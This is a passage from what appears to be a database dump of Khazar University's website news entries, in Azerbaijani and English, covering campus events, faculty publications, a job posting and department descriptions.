Mühəndislik və tətbiqi elmlər fakültəsinin müəllim-tələbə heyəti ilə Sumqayıt Texnologiyalar Parkının mütəxəssisləri arasında görüş keçirildi. Görüşdə tələbələrə müəssisə və STP-də təcrübə, karyera imkanları haqqında ətraflı məlumat verildi. Görüşün sonunda STP-nin mütəxəssisləri tələbələrin suallarını cavablandırdı.</p>'),(4530,2685,'az','3 Dekabr – Əlillər Günü İlə əlaqədar tədbir baş tutdu','2017-ci il noyabrın 30-da Xəzər Psixoloji Xidmət Mərkəzi, Əlilliyi olan Tələbələr üçün Mərkəz və “Beynəlxalq Əlillər Cəmiyyəti” İctimai Birliyinin...','<p>2017-ci il noyabrın 30-da Xəzər Psixoloji Xidmət Mərkəzi, Əlilliyi olan Tələbələr üçün Mərkəz və “Beynəlxalq Əlillər Cəmiyyəti” İctimai Birliyinin birgə əməyi ilə Xəzər Universitetində <strong><em>3 Dekabr –&nbsp;Beynəlxalq Əlillər Günü</em></strong> münasibətilə tədbir həyata keçirildi.</p><p>Tədbirdə dövlət təşkilatları, xarici ölkə səfirliklərinin nümayəndələri, QHT və ictimaiyyət nümayəndələri iştirak edirdilər. Tədbirin bədii hissəsində 1 saylı Psixiatriya Xəstəxanasının pasiyentlərinin ifasında pantomim səhnəcik təqdim edildi. Əlillər Cəmiyyətinin Mədəni əlaqələr şöbəsinin kiçik rəqqasları da böyük həvəslə tədbirdə iştirak etdilər. Azərbaycanın görkəmli tarzəni Ramiz Quliyev tədbirin təşkilatçılarına təşəkkür edərək, Azərbaycanda əlilliklə əlaqəli maarifləndirici tədbirlərin əhəmiyyətindən danışdı. Müxtəlif musiqi nömrələri iştirakçılar tərəfindən böyük rəğbətlə qarşılandı. Əlilliyi olan istedadlı insanların əl işlərindən ibarət satış-sərgi də böyük maraq doğurdu. Tədbirdə Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova da Xəzər Universitetinin “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil məktəblərinə inteqrasiyasının əsasının qoyulması” layihəsindən bəhs etdi və universitet nəzdində əlilliyi olan tələbələrin üçün qurulan mərkəzin əhəmiyyətini də tədbir iştirakçılarına məruzə etdi. Tədbir böyük coşğu ilə qarşılanan “Qarabağ” şikəstəsi ilə yekunlaşdırıldı.</p>'),(4531,2686,'az','English Instructor','The English Language and Literature Department at Khazar University is seeking qualified applicants...','<p style=\"background:undefined \">The English Language and Literature Department at Khazar University is seeking qualified applicants&nbsp;to fill the position of an English instructor for the fall semester, 2018. The applicants should have a Master’s degree in Linguistics or English Language Teaching. Those who have at least 3 years of experience in English language teaching at universities will be given preference.</p><p>The candidates who are interested should send their CVs to Eynur Mehdiyev, Vice-chair of the Department of English Language and Literature.</p><p><strong>Email address</strong>:&nbsp;<a href=\"mailto:emehdiyev@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\">emehdiyev@khazar.org</a></p><p><strong>Deadline:&nbsp;</strong>10.09.2018</p>'),(5944,3399,'az','Xəzər Universitetində boş qalan plan yerlərinə qəbul olan abituriyentlərin qeydiyyatı başa çatdı','Xəzər Universitetində boş qalan plan yerlərinə qəbul olan abituriyentlərin qeydiyyatı...','<p>Xəzər Universitetində boş qalan plan yerlərinə qəbul olan abituriyentlərin qeydiyyatı sentyabrın 3-də başa çatdı.</p>'),(5945,3399,'en','Registration of abiturients admitted to the vacant places at Khazar University has ended','Registration of abiturients admitted to the vacant places at Khazar University...','<p>Registration of abiturients admitted to the vacant places at Khazar University ended on September 3.</p>'),(5946,3400,'az','Hamlet İsaxanlı ali təhsildə ingilis dilinin yeri ilə bağlı fikirlərini bölüşdü','2018-ci il sentyabrın 3-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri...','<p>2018-ci il sentyabrın 3-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı <strong><em>AzEdu.az</em></strong> saytına açıqlamasında Azərbaycanın ali təhsil müəssisələrində ingilis dilinin yeri və təsirləri ilə bağlı fikirlərini bildirmişdir.</p><p>Daha geniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p><p><a href=\"http://azedu.az/az/news/5894\">http://azedu.az/az/news/5894</a></p><p><a href=\"http://www.moderator.az/news/238630.html\">http://www.moderator.az/news/238630.html</a>.</p>'),(4580,2715,'az','İqtisadiyyat və menecment fakültəsinin əməkdaşının məqaləsi Scopus indeksli jurnalda','Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini Dr. Şəhriyar Muxtarovun “The Relationship between Energy Consumption...','<p>Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini Dr. Şəhriyar Muxtarovun “<strong><em>The Relationship between Energy Consumption and Economic Growth: Evidence from Azerbaijan</em></strong>” adlı məqaləsi “<strong>International Journal of Energy Economics and Policy</strong>” jurnalının 2017-ci il 6-ci sayı, 7-ci buraxılışında çap edilmişdir. Sözü gedən jurnal SCOPUS kimi nüfuzlu&nbsp;məlumat bazalarında indekslənir.</p><p>Məqalədə Azərbaycanda enerji istehlakı və iqtisadi artım arasındakı əlaqə VAR modeli çərçivəsində Toda-Yamamoto səbəbiyyət testi vasitəsilə qiymətləndirilmişdir. Məqalə nəticələri dəyişənlər arasında ikitərəfli səbəbiyyət əlaqəsinin olduğunu ortaya çıxarmışdır.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.econjournals.com/index.php/ijeep/article/view/5644\">http://www.econjournals.com/index.php/ijeep/article/view/5644</a>.</p>'),(4674,2776,'az','Xəzər Universitetinin müəllimləri Lənkəranda keçirilən Respublika Elmi Konfransında iştirak etdilər','2017-ci il dekabrın 22-si və 23-də Lənkəran Dövlət Universitetində (LDU) “Müasir dünyada inteqrasiya və elmin aktual problemləri...','<p>2017-ci il dekabrın 22-si və 23-də Lənkəran Dövlət Universitetində (LDU) “Müasir dünyada inteqrasiya və elmin aktual problemləri” mövzusunda keçirilən Respublika Elmi Konfransında Xəzər Universitetini Təhsil fakültəsi Azərbaycan dili və ədəbiyyatı departamentinin müəllimləri dosent Elmira Məmmədova-Kekeç və Qardaşxan Əzizxanlı təmsil edirdilər. Konfransın “Dilçilik və ədəbiyyatşünaslıq” bölməsində E.Məmmədova-Kekeç “Türk xalqlarının “Vücudnamə” yaradıcılığında təzadlar”, Q.Əzizxanlı isə “Çağdaş Azərbaycan şeirində xalq arxetipi və xalq yaradıcılığı problemi” mövzularında çıxış etdilər.</p><p>Qeyd edək ki, konfransda respublikamızda fəaliyyət göstərən 26 ali təhsil müəssisəsinin, Azərbaycan Milli Elmlər Akademiyasının İnstitutlarının, Türkiyə Cümhuriyyətinin 2 universitetinin, 10 təşkilatın nümayəndə heyətləri iştirak edirdilər.</p>'),(4560,2693,'en','Head of the Department met with World Bank employees','On December 4, 2017, Rovshan Abbasov, Head of the Department of Geography and the Environment met with employees of ‘Temiz Sheher’...','<p>On December 4, 2017, Rovshan Abbasov, Head of the Department of Geography and the Environment met with employees of ‘Temiz Sheher’ ASC and World Bank and discussed water balance issues in Khojasan Lake.</p>'),(4925,2874,'az','NİZAMİ layihəsi çərçivəsində fransalı nümayəndələrlə görüş','2018-ci il yanvarın 31-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor...','<p>2018-ci il yanvarın 31-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı NİZAMİ&nbsp;layihəsi (“Azərbaycanda doktorantura təhsilinin yenidən qurulması və inkişaf etdirilməsi”) çərçivəsində Fransanın Montpellier Universitetinin nümayəndələri - layihənin koordinatoru Dr. Véronique Barragan-Montero və layihənin meneceri Dr. Aude Berthier-lə görüşmüşdür. Görüşdə Xəzər Universitetinin Elmi işlər üzrə prorektoru dos. İradə Xəlilova və Magistratura, doktorantura və elmi işlər bölməsinin müdiri Dr. Eldar Şahgəldiyev iştirak etmişlər.</p><p>İştirakçılar Azərbaycanda Nizami layihəsi ilə bağlı həyata keçirilən tədbirlər, eləcə də Xəzər Universiteti və Montpellier Universiteti arasında gələcək əməkdaşlığın maraq doğuran cəhətlərini müzakirə etmişlər.</p><p>Qonaqlar Xəzər Universitetinin rektoru Dr. Hassan Niknafs ilə də görüşmüşlər.</p>'),(4532,2608,'en','Concert of students of Music School named after Fidan Hajiyeva at Khazar University','On October 26, 2017, a concert of students of music school named after Fidan Hajiyeva was held at Marble Hall, Khazar University. The administration, staff...','<p>On October 26, 2017, a concert of students of music school named after Fidan Hajiyeva was held at Marble Hall, Khazar University. The administration, staff and students of the university attended the concert. Arzu Qurbanova, the school instructor, Leyla Qurbanli, Orkhan Cabbarov, Aziz Nabiyev, Metleb Agayev, Rena Cayarzade, Bob Petue and other students performed vocals of Azerbaijan and European composers, accompanied by forte-piano at the concert. Muslim Maqomayev`s work “Azerbaijan” was performed by People’s Artist Fidan Hajiyeva and her students at the end of the concert. Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of Its Board of Directors and Trustees highly appreciated students’ performance and wished them success in his speech.</p><p>At the end, Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, honored teacher said that the Music School named after Fidan Hajiyeva had been awarded a Certificate of Appreciation by Khazar University and presented it to the People\'s Artist.</p>'),(5721,3283,'az','Xəzər Universitetində Fikrət Əmirov Konfrans-Konsert Mərkəzinin açılışı','2018-ci il iyunun 5-də Xəzər Universitetinin Mərkəz kampusundakı “Dünya” Konfrans-Konsert Salonunda...','<p>2018-ci il iyunun 5-də Xəzər Universitetinin Mərkəz kampusundakı “Dünya” Konfrans-Konsert Salonunda Fikrət Əmirov Konfrans-Konsert Mərkəzinin açılışı oldu. Uzun illər ərzində universitetin mühum ölkə və beynəlxalq tədbirlərinin keçirildiyi, elm və mədəniyyət ictimaiyyətinə yaxşı tanış olan&nbsp;“Dünya” Konfrans-Konsert Salonu, əslində, yeni statusa malik olacaqdı.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı salona toplaşan görkəmli mədəniyyət xadimlərini salamlayaraq, onları barelyefin açılışına dəvət etdi. Açılış mərasimi salondakılar üçün ekranda nümayiş etdirilirdı. Azərbaycan Bəstəkarlar İttifaqının sədri Firəngiz Əlizadə və dahi bəstəkarın qızı Sevil Əliyeva iştirakçıların alqışları ilə barelyefin üzərindən ağ örtüyü götürdülər. “Dünya” Konfrans-Konsert Salonundan açılışa gedən universitet rəhbərliyi və mədəniyyət xadimləri Fikrət Əmirov Konfrans-Konsert Mərkəzinə döndülər.</p><p>Professor Hamlet İsaxanlı çıxış edərək, Fikrət Əmirovun həyat və yaradıcılıq yoluna geniş nəzər saldı, böyük musiqiçinin sənət məktəbi yaratdığını və dünyada tanındığını söylədi.</p><p>Sonra tədbirin bədii hissəsi başladı. Xəzər Universitetinin Kamera orkestrinin ifasında bəstəkarın “Nizami”simfoniyasının IV hissəsi, “Kürd ovşarı” (Kamera orkestri üçün işləyən “Dünya” Təhsil Komleksinin müəllimi, bəstəkar Sevda Rəhimova), “Sevil” operasından vals, “Min bir gecə” baletindən “Şəhrizadın bayramı” səsləndi.</p><p>Xalq artisti Azər Zeynalov “Sevil” operasından “Balaşın ariyası”nı, Azərbaycan Dövlət Musiqili Teatrının solisti, beynəlxalq müsabiqələr laureatı Atəş Qarayev “Balaşın mahnısı”nı, xalq artisti Alim Qasımov və əməkdar artist Fərqanə Qasımova (duet) Hüseyn Cavidin “Şeyx Sənan” tamaşasından “Kor ərəbin mahnısı”nı, əməkdar artist Səbinə Vahabzadə “Azərbaycan elləri”, xalq artisti Gülyanaq Məmmədova “Gecə keçdi” və “Göygöl”, (xalq çalğı alətləri ansamblının müşayiəti ilə), xalq artisti, tarzən Ramiz Quliyev “Mən səni araram” və “Səhər” filmindən “Aslanın mahnısı”nı, əməkdar artist Elşən Mansurov “Laylay” mahnılarını, Xəzər Universitetinin qızlardan ibarət rəqs ansamblı “Min bir gecə” baleti əsasında hazırladığı xoreoqrafik etüdü ifa etdilər.</p><p>Tədbirdə Azərbaycan Bəstəkarlar İttifaqının sədri Firəngiz Əlizadə çıxış edərək, Fikrət Əmirov Konfrans-Konsert Mərkəzinin yaradılmasını Xəzər Universitetinin Azərbaycan mədəniyyətinə yeni töhfəsi kimi dəyərləndirdi. Sevil Əmirova çıxışında atasının xatirəsinə göstərilən ehtirama görə Xəzər Universitetinin rəhbərliyinə və iştirakçılara təşəkkürünü bildirdi.</p>'),(4545,2690,'en','Conflict Management Training held at Khazar University','On November 26, 2017, “The Chain” Team organized a training session on conflict management at Neftchiler Campus of Khazar University...','<p>On November 26, 2017, “The Chain” Team organized a training session on conflict management at Neftchiler Campus of Khazar University. This training was one of the components of their campaign within its participation in the project “P2P: Facebook Global Digital Challenge”. The participants included both students and employees from various local universities and organizations.</p><p>The training session started with an introduction game to break the ice among the participants. During the session, various topics such as conflict management and communication approaches; non-violent communication theory developed by Marshall Rosenberg; the hamburger method of constructive criticism; and Thomas Kilmann conflict modes, in particular, were discussed. The participants also had a debate on how these approaches could be implemented in real life situations.</p><p>To apply the newly gained knowledge on negotiation and conflict resolution skills, the participants were divided into teams and participated in the Orange Game. According to the rules of the game, there was only one orange for sale and two buyers who would use it for two different purposes. Teams were supposed to come with the best solution for both buyers using conflict resolution and communication techniques.</p><p>At the end of the training session, the participants were awarded certificates of participation. A small gift package of the campaign was also presented to each participant.</p>'),(4546,2691,'en','PAWER Project Training Week at University of Szeged Faculty of Agriculture in Hungary','On November 27 - December 1, 2017, Gunay Farzaliyeva, the coordinator of International Affairs Office, participated in the PAWER training week within...','<p>On November 27 - December 1, 2017, Gunay Farzaliyeva, the coordinator of International Affairs Office, participated in the PAWER training week within Erasmus+ Programme at the University of Szeged Faculty of Agriculture in Szeged, Hungary.</p><p>Khazar University is one of the partner universities in the PAWER (Paving the Way to Interregional Mobility and Ensuring Relevance, Quality and Equity of Access) project coordinated by the University of L’Aquila (Italy). The project aims at promoting and supporting mobility between EU and partner countries by harmonizing the credit allocation and grading system.</p><p>The participants of the training week included academic and administrative staff members of partner universities from Georgia, Kazakhstan, Kyrgyzstan, Mongolia, Russia, Tajikistan, and Uzbekistan.</p><p>The aim of the training was to discuss important issues associated with mobility of students and staff, including Bologna process, qualifications framework, ECTS, mobility agreements, mobility support, recognition of credits, grade conversion process, mobility policy, and others. The training also aimed at preparing national trainers who will continue disseminating project information by delivering workshops and building capacity in their home countries.</p>'),(4536,1042,'az','Maliyyə şöbəsi','Maliyyə şöbəsi','<p>Maliyyə şöbəsi universitetin maliyyə prosedurlarını idarə edir və maliyyə fəaliyyəti haqqında tam və dəqiq məlumatı təmin edir.</p><p>Maliyyə şöbəsinin fəaliyyəti statistik işlərin planlaşdırılması və idarəedilməsini, habelə maliyyə vəsaitlərindən səmərəli istifadə olunması məqsədi ilə maliyyə-təsərrüfat fəaliyyətinin kompleks və operativ təhlilini əhatə edir.&nbsp;</p><p>Şöbə həmçinin mühasibat uçotu, monitorinq, hesabat və iqtisadi təhlil işlərində uyğun universitet bölmələrinə də texniki köməklik göstərir.</p><p><strong><br></strong></p><h3><strong>Əlaqə:</strong></h3><p><strong><a href=\"http://www.khazar.org/files/letters/Nagi_Bayramli_cv.pdf\"><img src=\"/files/letters/nagi_b.JPG\" style=\"float:left;width:150px;height:178px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nağı Bayramlı</a></strong></p><p><strong>Maliyyə şöbəsinin direktoru</strong></p><p><strong></strong><strong>E-mail:&nbsp;</strong><a href=\"mailto:nbayramli@khazar.org\">nbayramli[at]khazar.org</a>  <a href=\"http://mailto:nbayramli@khazar.org\"></a></p><p><strong>Telefon:</strong>&nbsp;<a title=\"nbayramli@khazar.org\" target=\"_self\" tabindex=\"0\" label=\"Email nbayramli@khazar.org\">(+994 12) 421 10 93 (236)</a>  </p>'),(4537,1043,'az','Mühasibatlıq','Mühasibatlıq','<p>Xəzər Universitetinin Mühasibatlıq şöbəsinin əsas vəzifələri barədə məlumat:</p>\r\n<p>1.&nbsp;Universitetin bütün fəaliyyət dövründə mühasibat uçotunu fasiləsiz həyata keçirmək;</p><p>2.&nbsp;Universitetin maliyyə vəsaitin təyinatı üzrə və səmərəli istifadə edilməsini və xərclərin uçotunu həyata keçirmək;</p><p>3.&nbsp;Universitetin aktiv və öhdəliklərinin uçotunun həyata keçirilməsinin təmin olunması və onlara nəzarəti təşkil etmək;</p><p>4.&nbsp;Müvafiq qanunvericiliyə uyğun olaraq əsas vəsaitlərin, qeyri-maddi aktivlərin və dövriyyə vəsaitlərinin inventarizasiyalarının keçirilməsi, əsas vəsaitlərin yenidən qiymətləndirilməsi və onların nəticələri üzrə köhnəlmiş və yararsız hala düşmüş inventarların silinməsi barədə universitetin rəhbərliyinə təkliflər vermək;</p><p>5.&nbsp;İlkin uçot sənədlərini, mühasibat uçotu registrlərini, mühasibatlıq hesabatlarını, mühasibat uçotu və maliyyə əməliyyatları ilə bağlı digər sənədləri tərtib etmək;</p><p>6.&nbsp;Universitetdə mühasibat uçotunun avtomatlaşdırılması və tətbiq olunan mühasibat uçotu proqramlarının təkmilləşdirilməsi ilə əlaqədar təkliflər vermək;</p><p>7.&nbsp;Universitet üzrə mühasibat uçotunun beynəlxalq və milli standartlara uyğun təşkilini həyata keçirmək;</p><p>8.&nbsp;Universitetin işçilərinə əmək haqlarının və digər ödəmələrin (o cümlədən, ezamiyyə xərclərinin) düzgün hesablanmasını və vaxtında ödənilməsini, habelə əmək haqlarından və digər ödəmələrdən vergi və tutulmaların düzgün hesablanaraq vaxtında aidiyyəti üzrə ödənilməsini təmin etmək;</p><p>9.&nbsp;Bank və xəzinə əməliyyatlarını həyata keçirmək məqsədi ilə zəruri tədbirlər görmək;</p><p>10.&nbsp;Universitet üzrə qanunvericiliklə müəyyən olunmuş qaydada təqdim olunması nəzərdə tutulan məlumat və hesabatları, o cümlədən icmallaşdırılmış maliyyə hesabatlarını hazırlamaq;</p><p>11.&nbsp;Maliyyə, büdcə, ştat, kassa və digər norma və intizamlara riayət etmək;</p><p>12.&nbsp;Mühasibat uçot sənədləri və məlumatlarının elektron və kağız daşıyıcılarda saxlanılmasının təmin edilməsi üçün müvafiq işləri həyata keçirmək.</p>'),(4538,2687,'az','Xəzər Universitetinin əməkdaşı “Ədalət”ə müsahibə verdi','2017-ci il dekabrın 1-də “Ədalət” qəzetinin saytında Xəzər Universitetinin əməkdaşı Alik Əlioğlunun “Qorxulu yuxular...','<p>2017-ci il dekabrın 1-də “Ədalət” qəzetinin saytında Xəzər Universitetinin əməkdaşı Alik Əlioğlunun “Qorxulu yuxular görəcəyim günü bilirəm” sərlövhəli müsahibəsi dərc olunmuşdur. Müsahibə “Yuxu qapısı” rubrikasında yer alır. Alik jurnalistin yuxu haqqında suallarını cavablandırmışdır.</p><p>Müsahibəni aşağıdakı link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.adalet.az/w139750/Qorxulu_yuxular_görəcəyim_günü_bilirəm..._-_YUXU_QAPISI/#.WiE1I1Vl_IU\">http://www.adalet.az/w139750/Qorxulu_yuxular_görəcəyim_günü_bilirəm..._-_YUXU_QAPISI/#.WiE1I1Vl_IU</a>.</p>'),(4539,2678,'en','AzerTac released information about the book published in Khazar University Publishing House','On November 29, 2017, the official website of Azerbaijan State Information Agency (AzerTag) released the news about the monograph...','<p>On November 29, 2017, the official website of Azerbaijan State Information Agency (AzerTac) released the news about the monograph \"Homogeneous Words in the World Languages\" (author Baba Maharramli) published in the Khazar University Publishing House.</p><p>The news is available at:</p><p><a href=\"https://azertag.az/xeber/Monoqrafiyada_ilk_defe_300_dek_dilin_analoji_soz_kokleri_muqayise_olunub-1116132\">https://azertag.az/xeber/Monoqrafiyada_ilk_defe_300_dek_dilin-analoji_soz_kokleri_muqayise_olunub-1116132</a>.  <br></p>'),(4540,2685,'en','Event dedicated to December 3 - International Day of Persons with Disabilities','On November 30, 2017, an event dedicated to December 3 - International Day of Persons with Disabilities was held at Khazar University, jointly organized...','<p>On November 30, 2017, an event dedicated to <strong><em>December 3 <strong><em>–</em></strong>   International Day of Persons with Disabilities</em></strong> was held at Khazar University, jointly organized by Khazar Psychological Service Centre, Centre for the Students with Disabilities and \"International Agency for Disabled People\" Public Union.</p><p>The event was attended by state organizations, representatives of foreign embassies, non-governmental organizations and community representatives. In the artistic part of the event, a pantomime scene was performed by the patients of the Psychiatric Hospital #1. Small dancers of the Department of Cultural Relations of the Agency for Disabled People, also took part in the event with great enthusiasm. Ramiz Guliyev, an outstanding tar player of Azerbaijan, thanked the organizers of the event and spoke about the significance of awareness-raising events related to disability in Azerbaijan. Various musical numbers were welcomed by the participants. The great interest of the participants was also raised by the exhibition sales of handicrafts of talented people with disabilities. Melek Kerimova, Head of Khazar Psychological Service Center, spoke about the Khazar University project \"The Establishment of Foundation for the Integration of Disabled People into Higher Educational Institutions of Azerbaijan\" and highlighted the importance of the Center for the Students with Disabilities, established at the university. The event ended with ‘Karabakh Shikastasi’ which was met with great enthusiasm.</p>'),(4541,2684,'en','Experts from Sumgait Technologies Park at Khazar University','On November 29, 2017, a meeting was held between the faculty and students of School of Engineering and Applied Sciences and specialists from Sumgait...','<p>On November 29, 2017, a meeting was held between the faculty and students of School of Engineering and Applied Sciences and specialists from Sumgait Technologies Park. During the meeting, the students were given detailed information about the experience and career opportunities in the enterprise and Sumgait Technologies Park. At the end of the meeting, the specialists replied to the students’ questions.</p>'),(4542,2679,'en',' Research Paper of Khazar University PhD student published in Hong Kong','The article of Khazar University\'s PhD student has been published in English in Hong Kong...','<p>The article of Khazar University\'s PhD student has been published in English in Hong Kong.</p><p>The paper ‘<strong><em>The Novel Patient with BLNK Gene Type of Agammaglobulinemia</em></strong>’ co-authored by Shabnam Shahgaldiyeva, a PhD student in Immunology at Khazar University, has been published (in English) in ‘OALib Journal’, which is issued in Hong Kong and has different world indexes.</p><p>The paper is available at:</p><p><a href=\"http://www.oalib.com/articles/5291334#.Wh0nBfSno9M\">http://www.oalib.com/articles/5291334#.Wh0nBfSno9M</a>.  <br></p>'),(4543,2687,'en','Khazar University employee’s interview to ‘Adalat’','On December 1, 2017, ‘Adalat’ newspaper released an interview with Alik Alioglu, Khazar University employee, entitled...','<p>On December 1, 2017, ‘Adalat’ newspaper released an interview with Alik Alioglu, Khazar University employee, entitled ‘I know the day when I will see nightmares’ on its website. The interview is included in the \"Door of Sleep\" section. The interviewee replied to the journalist’s questions about a dream.</p><p>The interview can be read through the following link:</p><p><a href=\"http://www.adalet.az/w139750/Qorxulu_yuxular_g%C3%B6r%C9%99c%C9%99yim_g%C3%BCn%C3%BC_bilir%C9%99m..._-_YUXU_QAPISI/#.WiE1I1Vl_IU\">http://www.adalet.az/w139750/Qorxulu_yuxular_görəcəyim_günü_bilirəm..._-_YUXU_QAPISI/#.WiE1I1Vl_IU</a>.<br></p>'),(4547,2692,'az','Xəzər Universitetində “BP yay təcrübəsi-2018” proqramının təqdimatı oldu','2017-ci il dekabrın 1-də BP-nin işə qəbul üzrə məsləhətçisi Mehriban Şıxzamanova və qazma mühəndisi Fərid Hüseynov Xəzər Universitetində tələbələr üçün...','<p>2017-ci il dekabrın 1-də BP-nin işə qəbul üzrə məsləhətçisi Mehriban Şıxzamanova və qazma mühəndisi Fərid Hüseynov Xəzər Universitetində tələbələr üçün “BP yay təcrübəsi-2018” proqramının təqdimatını etdilər.</p><p>Proqram barədə məlumat verən BP-nin nümayəndəsi Mehriban Şıxzamanova bildirdi ki, ixtisası vakant yerlərə uyğun gələn, Azərbaycan vətəndaşı olan və 2019-cu ildə məzun olacaq hər bir tələbə proqramda iştirak üçün sənəd təqdim edə bilər. Sənədləri uyğun hesab olunan hər bir tələbə 3 mərhələli qəbul imtahanılarında iştirak etdikdən sonra müvəffəq olan tələbə iyunun 2-dən sentyabrın 15-dək işə qəbul ediləcək. BP şirkətinin qazma mühəndisi Fərid Hüseynov tələbə olarkən proqrama necə qoşulduğu və nə qazandığı barədə tələbələrə motivasiya xarakterli məlumat verdi.</p><p>BP-nin əməkdaşları sonda tələbələrin suallarını cavablandırdılar.</p>'),(4548,2693,'az','Departamentin müdiri Dünya Bankının əməkdaşları ilə görüşdü','2017-ci il dekabrın 4-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov...','<p>2017-ci il dekabrın 4-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov “Təmiz şəhər” ASC və Dünya Bankının əməkdaşları ilə görüşdü və Xocəsən gölünün su balansı problemlərini müzakirə etdilər.</p>'),(4549,2694,'az','Tələbələr “Dünya” məktəbinin laboratoriyalardan istifadə edirlər','2017-ci il noyabrın 23-ü və 30-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri “Dünya” məktəbində yerləşən fizika və kimya...','<p>2017-ci il noyabrın 23-ü və 30-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri “Dünya” məktəbində yerləşən fizika və kimya laboratoriyalarında oldular. Dərs zamanı tələbələr ayrı-ayrı qruplar şəklində laborator işləri yerinə yetirdilər.</p><p>Qeyd edək ki, tələbələr müntəzəm şəkildə həm universitetin özündə, həm də “Dünya” məktəbində fəaliyyət göstərən laboratoriyalardan istifadə edir, dərsdə əldə etdikləri nəzəri bilikləri laboratoriyalarda cihazlar üzərində tətbiq edirlər.</p>'),(4550,2695,'az','Professor Camal Mustafayev vəfat etdi','2017-ci il dekabrın 4-də Xəzər Universiteti Tərcümə Araşdırmalar Mərkəzinin direktoru professor Camal Mustafayev vəfat etmişdir...','<p>2017-ci il dekabrın 4-də Xəzər Universiteti Tərcümə Araşdırmalar Mərkəzinin direktoru professor Camal Mustafayev vəfat etmişdir. Respublikanın media orqanlarında bununla bağlı xəbər yayınlanmışdır.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://www.sherg.az/site/id-40106/___Professor_Camal_Mustafayev_vəfat_edib\">http://www.sherg.az/site/id-40106/___Professor_Camal_Mustafayev_vəfat_edib</a>.</p>'),(4551,2696,'az','“Kapital bazarları vasitəsilə maliyyələşmə və listinq” mövzusunda təlim','2017-ci il dekabrın 1-də Xəzər Universiteti İqtisadiyyat və menecment fakültəsi Maliyyə Bazarlarında Nəzarət Palatasının Təlim və Maarifləndirmə...','<p>2017-ci il dekabrın 1-də Xəzər Universiteti İqtisadiyyat və menecment fakültəsi Maliyyə Bazarlarında Nəzarət Palatasının Təlim və Maarifləndirmə Mərkəzi ilə birlikdə fakütlənin tələbələri üçün “Kapital bazarları vasitəsilə maliyyələşmə və listinq” mövzusunda təlim keçirdi.</p><p>Təlimdə kapital bazarının iştirakçıları və alətləri, investisiya qiymətli kağızları, kapital bazarlarında maliyyələşmə, investisiya xidmətlərinin növləri və emitentlərin Bakı Fond Birjasında listinqinə dair nəzəri və praktiki mövzuları əhatə edən təqdimat ilə çıxış edən mütəxəssislər seminarda iştirak edən tələbələrin çoxsaylı suallarını cavablandırdılar. İnteraktivlik və diskussiyalarla zəngin olan tədbirin ən aktiv iştirakçıları Maliyyə Bazarlarına Nəzarət Palatası tərəfindən sertifikatlarla təltif edildilər.</p>'),(4552,2697,'az','KİM-də “Xəzər Universitetində I Çin həftəsi” başladı','2017-ci il dekabrın 4-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Xəzər Universitetində I Çin həftəsi” adlı 4 günlük tədbirin açılış mərasimi oldu...','<p>2017-ci il dekabrın 4-də Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Xəzər Universitetində I Çin həftəsi” adlı 4 günlük tədbirin açılış mərasimi oldu. Tədbirdə Bakı Dövlət Universitetinin Konfutsi İnstitutunun dekan və müəllimləri, Xəzər Universitetinin müəllim və tələbə heyəti iştirak edirdilər. Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli tədbiri giriş sözü ilə açaraq iştirakçıları salamladı. Tədbirdə Xəzər Universitetinin Elmi işlər üzrə prorektoru İradə Xəlilova, Konfutsi İnstitutunun dekanı Luo Xiaozhi, Xəzər Universitetində Çin dilini tədris edən Li Ya və Kitabxana-İnformasiya Mərkəzinin əməkdaşı Samirə Orucova çıxış etdilər. Daha sonra Çin dilinin tədrisi ilə bağlı Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin tələbələri Çin, Azərbaycan və ingilis dillərində çıxışlarını təqdim etdilər. Tədbirin II yarısında Çin folklor sənətinin nümunələrindən ibarət təcrübi işlər göstərildi. Tədbir iştirakçılar tərəfindən böyük maraqla qarşılandı.</p>'),(4553,2698,'en','ETF workshop on mapping youth transitions from school to work in Azerbaijan','On December 1, 2017, the workshop on “Mapping Youth Transitions from School to Work in Azerbaijan”...','<p>On December 1, 2017,Sabina Allahveranova, the Acting Manager of Career Center at Khazar University participated in a workshop on “Mapping Youth Transitions from School to Work in Azerbaijan”, organized by European Training Foundation (ETF), was conducted in park Inn by Radisson Baku Hotel.  </p><p>The workshop began with a welcome and introductory speech by Mr. Jeroen Willems, Head of Operations, EU Delegation to Azerbaijan. It was followed by the speech of Mr.&nbsp;Elnur Suleymanov, Head of Employment Policy and Demography Department.</p><p>Mr. Ilkin Nazarov, ETF National Expert addressed the case of youth situation in the labour market and gave information about existing measures supporting youth transition to work, by shifting everyone’s attention to necessary data and statistics. Later, the workshop continued by the speech of Ms. Eduarda Castel Branco, ETF, Senior Specialist in Labour Market and Qualifications. In her very remarkable speech, she pointed out the objectives of the workshop by identifying important priorities for future policy development and improvement as well as presenting and discussing the major findings, 